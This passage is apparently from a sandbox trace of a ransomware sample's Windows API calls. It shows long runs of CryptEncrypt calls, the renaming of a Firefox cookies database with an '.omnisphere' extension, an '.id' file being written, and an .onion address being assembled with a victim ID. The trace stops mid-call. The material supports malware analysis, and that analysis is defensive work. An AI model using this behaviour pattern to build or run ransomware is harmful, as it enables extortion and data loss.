Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.712] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.713] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.714] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.715] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.716] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.717] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0156.877] CryptDestroyKey (hKey=0x16396a8) returned 1 [0156.877] CryptReleaseContext (hProv=0x1669120, dwFlags=0x0) returned 1 [0156.877] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x80000, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0156.877] WriteFile (in: hFile=0x288, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d2d8, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0d2d8*=0x524, lpOverlapped=0x0) returned 1 [0156.880] GetProcessHeap () returned 0x1600000 [0156.880] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2d0) returned 0x1744bb0 [0156.880] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cookies.sqlite"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cookies.sqlite.omnisphere")) returned 1 [0156.881] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite.omnisphere.id" [0156.882] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\cookies.sqlite.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0156.882] WriteFile (in: hFile=0x388, lpBuffer=0x3e0cd78*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cd60, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesWritten=0x3e0cd60*=0x524, lpOverlapped=0x0) returned 1 [0156.884] CloseHandle (hObject=0x388) returned 1 [0156.884] UnmapViewOfFile (lpBaseAddress=0x3c00000) returned 1 [0156.887] CloseHandle (hObject=0x3c0) returned 1 [0156.887] SetEndOfFile (hFile=0x288) returned 1 [0156.887] FlushFileBuffers (hFile=0x288) returned 1 [0156.909] CloseHandle (hObject=0x288) returned 1 [0156.909] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\cookies.sqlite" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default") returned 1 [0156.909] GetProcessHeap () returned 0x1600000 [0156.909] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1744e88 [0156.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0156.909] GetProcessHeap () returned 0x1600000 [0156.909] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1734288 [0156.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1734288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0156.909] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0156.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0156.909] GetProcessHeap () returned 0x1600000 [0156.909] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726c58 [0156.909] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726c58, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0156.909] lstrcatA (in: 